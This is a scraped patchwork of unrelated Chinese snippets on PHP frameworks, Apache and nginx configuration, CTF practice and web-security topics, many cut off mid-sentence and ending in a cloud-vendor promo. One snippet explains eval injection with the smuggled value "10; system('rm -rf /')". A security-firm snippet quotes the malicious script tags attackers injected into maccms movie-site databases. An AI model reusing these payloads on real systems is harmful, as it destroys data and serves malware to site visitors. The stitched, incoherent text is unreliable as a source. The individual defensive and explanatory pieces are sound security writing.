可以通过修改default.conf文件去修改dirsearch的默认配置(默认文件拓展名，超时时间，wordlist所在目录等)
中间件主要用于拦截或过滤应用的HTTP请求，并进行必要的业务处理。 新版部分核心功能使用中间件处理，你可以灵活关闭。包括Session功能、请求缓存和多语言功能。
一. 简单实例介绍 一般来说,apache配置好http和https后,如果想要做http强转到https,需要设置url重定向规则,大致需要下面几个步骤即可完成配置:
1、项目分为PC端、移动端、和PC管理端，分为对应目录为 /Application/Home，/Application/Mobile，/Application/Admin；
在一般的系统中，当用户点击头像的时候，就会跳转到对应的个人详情页，在这个页面，他可以查看和修改自己的个人信息，或者更换头像。 本案例中，个人详情页使用bootstrap框架。 首先，我们新建一个html页面作为我的个人详情页。为了获取后台数据比较方便，这个详情页的文件格式我们就改为php。 在项目根目录新建一个user.php。 <html> <head> <meta charset="utf-8"> <title>个人详情页</title>
下载解压 ThinkPHP 3.2.3，在默认的应用 Application（./Application） 中，包含一个默认的模块 Home（./Application/Home）。
1.开启trace 方法一：在配置文件中添加（默认在config.php,如果定义debug模式，可以定义在debug.php） SHOW_PAGE_TRACE => 1, 方法二：在入口文件 defined(“SHOW_PAGE_TRACE”, 1); 方法三：动态设置 C(‘SHOW_PAGE_TRACE’, 1); 使用方法 trace(‘展示代码’,’info’); 2.函数库 系统函数库和项目函数库不需要加载即可试用，扩展函数库需要加载才可以用 加载函数库文件可用配置”LOAD_EX
在开发项目的时候，往往会有一些父级页面，例如这样： 点击即可返回上一层目录，可是这样是返回到父级页面的首页，我们原本的操作记录清空了（比如说我们翻到第3页博客，点击去看，再返回父级页面的时候又回到第一
因工作需要，封闭了一周，公众号一周未更新，今天终于解放，继续分享web渗透实战经验。常学常新，慢就是快。
网上有很多thinkphp的404页面制作方法，但大多太过繁琐不简便，很烦人，所以为大家分享了最便捷的404制作方法，如下。
“eval“的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果”arg”如果被设成”10; system('rm -rf /')“，后面的”system('rm -rf /')“代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“一个空格引发的悲剧”）
PHP 中的框架是什么？ 框架就是通过提供一个开发 Web 程序的基本架构，PHP 开发框架把 PHPWeb 程序开发摆到了流水线上。换句话说，PHP 开发框架有助于促进快速软件开发（RAD），这节约了开发时间，有助于创建更为稳定的程序，并减少开发者的重复编写代码的劳动。 框架专门用于为这些常用元素(数据库交互、表示层、应用程序逻辑)提供结构，以便可以花费更少的时间来编写数据库接口代码或者表示层接口，而花费更多的时间来编写应用程序本身。以这种方式分解应用程序，这种架构被称为模型-视图-控制器(Mod
本文实例讲述了Yii 框架使用数据库(databases)的方法。分享给大家供大家参考，具体如下：
配置nginx服务器的ssl证书要去nginx目录下中conf文件夹下的nginx.conf中寻找server,找到监听443端口的server,把#打开(即关闭掉注释),修改以下配置(仅供参考)
注意： 本章使用浏览器进行检测的前提是在物理机hosts文件添加虚拟机IP和虚拟主机域名。
Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面。 实际上这个靶场漏洞很多，有很多注入点。
雪花算法是 twitter 开源的分布式 id 生成算法，采用 Scala 语言实现，是把一个 64 位的 long 型的 id，1 个 bit 是不用的，用其中的 41 bit 作为毫秒数，用 10 bit 作为工作机器 id，12 bit 作为序列号。雪花算法SnowFlake生成唯一ID
Apache用户认证 虚拟主机的配置文件： vim /usr/local/apache2.4/conf/extra/httpd-vhosts.conf 把111.com那个虚拟主机编辑成如下内容 <VirtualHost *:80> DocumentRoot "/data/wwwroot/111.com" ServerName 111.com <Directory /data/wwwroot/111.com> //指定认证的目录，只要111.com这个目录下面的都要认证
首先到github上面下载源码，下载完成后放到站点根目录/var/www/html新建三个数据库
这一小段时间对一些 CMS 进行代码审计，和一些 CVE 分析复现。总结一下几个案例的问题产生原因和利用思路。由于能力有限，挖掘到的都并非高危漏洞，旨在总结一下思路。仅是个人的一些理解，有些表述不当的地方，还请各位斧正。
有时候你会发现，你在搜索引擎输入网站名称的时候，出来的网站信息是你们的，但是域名却是一个陌生的，这种情况可以基本确定网站被镜像了，那么究竟什么叫网站被镜像？
笔者想将自己收藏的一些电影放到网站上可以用来随时播放，不过遇到了一个问题，便是如果直接将MP4文件放放到网站目录当中，手机端必须下载整个视频才可以播放，而如果跨外网传输，这实在是不太现实。
苹果CMS漏洞是越来越多了，国内很多电影网站都使用的是maccms V10 V8版本，就在2020年初该maccms漏洞爆发了，目前极少数的攻击者掌握了该EXP POC，受该BUG的影响，百分之80的电影站都被攻击了，很多电影站的站长找到我们SINE安全来解决网站被挂马的问题，通过分析我们发现大部分客户网站在数据库中都被插入了挂马代码，<script src=https://lefengtv.com/js/tjj.js></script><script src=https://pkvod.com/1.js</script>，尤其电影片名d_name值被直接篡改，并且是批量挂马，导致用户打开网站访问直接弹窗广告并跳转。
本文实例讲述了ThinkPHP3.1.x修改成功与失败跳转页面的方法。分享给大家供大家参考，具体如下： 在ThinkPHP中，成功与失败的提示页面已经自带。在Action方法中自动调用即可。 比如在LibAction有如下的SucErrAction.class.php：
在你的站点目录建立一个目录hook，我这里站点目录为：/home/www/web/，所有hook文件路径为：/home/www/web/hook，在hook目录新建index.php文件
用户认证是在你打开网页的时候就需要进行认证，如果没有通过认证就不允许访问网页，和网站上的登录账户不一样。这样的做法虽然可以增加安全性，但是会导致用户体验很差，因为总是要你认证完了才能访问网页，也是挺麻烦的。不过这样的需求还是有可能会遇到的，因为有些网页需要比较高的安全保证，例如后台管理员登录的入口网页。
1.它们其实是Jother编码，它是一种运用于Javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式，其中少量字符包括"["，"]"，"{"，"}"，"("，")"，"!"，"+"。这些字符就能完成对任意字符串的编码，本质上是一种Javascript的编码，其优点是代码字符就那么几个，比较好记，缺点是编码极其冗长和复杂。这种编码一般现在只会出现在CTF比赛中，实际开发中用的到就很少了。
本文主要和大家分享Apache http自动跳转到https的几种方法，当你的站点使用了HTTPS之后，你可能会想把所有的HTTP请求（即端口80的请求），全部都重定向至HTTPS。这时候你可以用以下的方式来做到：
最近一段时间一直在复习Web基础知识，光看生硬的知识点也无趣，就想着边刷题边复习吧，正好看到群里在推荐CTFHub这个平台，于是我就开始刷CTFHub技能树啦🎈 Web前置技能 HTTP协议 HTTP是Hyper Text Transfer Protocol（超文本传输协议）的缩写,是用于从万维网（WWW:World Wide Web ）服务器传输超文本到本地浏览器的传送协议。HTTP是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 查询结果等）。 更多详细请看：HTTP教程
URL Rewrite是网站建设中经常用到的一项技巧，通过 rewrite 我们能够屏蔽服务器运行态的信息，包括服务的程序、参数等等，给用户呈现美化后的URL，同时对搜索引擎更加友好，方便我们网站的推广。
11.18 Apache用户认证 httpd的用户认证目录 vim /usr/local/apache2.4/conf/extra/httpd-vhosts.conf //把123.com那个虚拟主机编辑成如下内容 <VirtualHost *:80> DocumentRoot "/data/wwwroot/www.123.com" ServerName www.123.com <Directory /data/wwwroot/www.123.com> //指定认证的目录
1、安装PHP插件：fileinfo、redis、swoole4 2、删除PHP对应版本中的 proc_open禁用函数。
今天我们来讲一下监控软件Cacti。Cacti的工作结构是：C/S模式采集监控数据，B/S模式管理检测平台，其实呢Cacti利用的是SNMP（简单网络管理协议）。
TP3.23对控制器做了更加细致的分层，除了默认的Controller层，还可以自定义事件控制层Event。
玩Emlog的朋友都知道，Emlog评论是可以带链接的，可能有很多朋友会加在链接上加入nofollow标签或直接用外链本地化插件，今天将给大家讲一下非插件实现Emlog评论实现链接本地化的方法
CSP真神奇，前段时间看了一篇国外的文章，导致有了新的体验，302不仅仅可以在ssrf中有特殊的表现，就连csp也可以，很强势
HTTP参数污染，也叫HPP（HTTP Parameter Pollution）。简单地讲就是给一个参数赋上两个或两个以上的值，由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理，而且不同的网站后端做出的处理方式是不同的，从而造成解析错误。
1、创建方法：Tools（工具）- > New Snippet（新代码片段）,会看到以下结构
搭建LAMP(Linux+Apache+Mysql+Php)+WordPress； 我在自己本机上做个演示吧！ 安装： 因为笔者使用的是kali-linux，LAMP(Linux+Apache+Mysql+Php)环境是默认安装好的，其实其他linux平台安装也很简单：
版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/details/49246703
干白盒审计有小半年了，大部分是业务上的代码，逻辑的复杂度和功能模块结构都比较简单，干久了收获也就一般，有机会接触一个成熟的产品（vtiger CRM）进行白盒审计，从审计的技术难度上来说，都比公司内的那些业务复杂得多，而真正要提高自己技术水平，更应该看的也是这些代码。
RewriteCond就像我们程序中的if语句一样，表示如果符合某个或某几个条件则执行RewriteCond下面紧邻的RewriteRule语句，这就是RewriteCond最原始、基础的功能，为了方便理解，下面来看看几个例子。
版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/details/51902882
科学是一种强有力的工具。怎样用它，究竟是给人带来幸福还是带来灾难，全取决于人自己，而不取决于工具。刀子在人类生活上是有用的，但它也能用来杀人。
前 2 天，在修改互推联盟自适应页面时，考虑到原先的跳转机制可能会对博友造成困扰，所以想修改成直接跳转模式，彻底抛弃之前强行重写 title 即 iframe 框架的不友好机制。 下面的内容是在研究外
介绍；自幼受贵州大山的熏陶，养成了诚实质朴的性格。经过寒窗苦读，考入BIT，为完成自己的教师梦，放弃IT、航天等工作，成为贵财一名大学教师，并想把自己所学所感真心传授给自己的学生，帮助更多陌生人。
解析器路径，将其注释掉，接着输入:“code-runner.executorMap”，复制我下面的就可以了
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
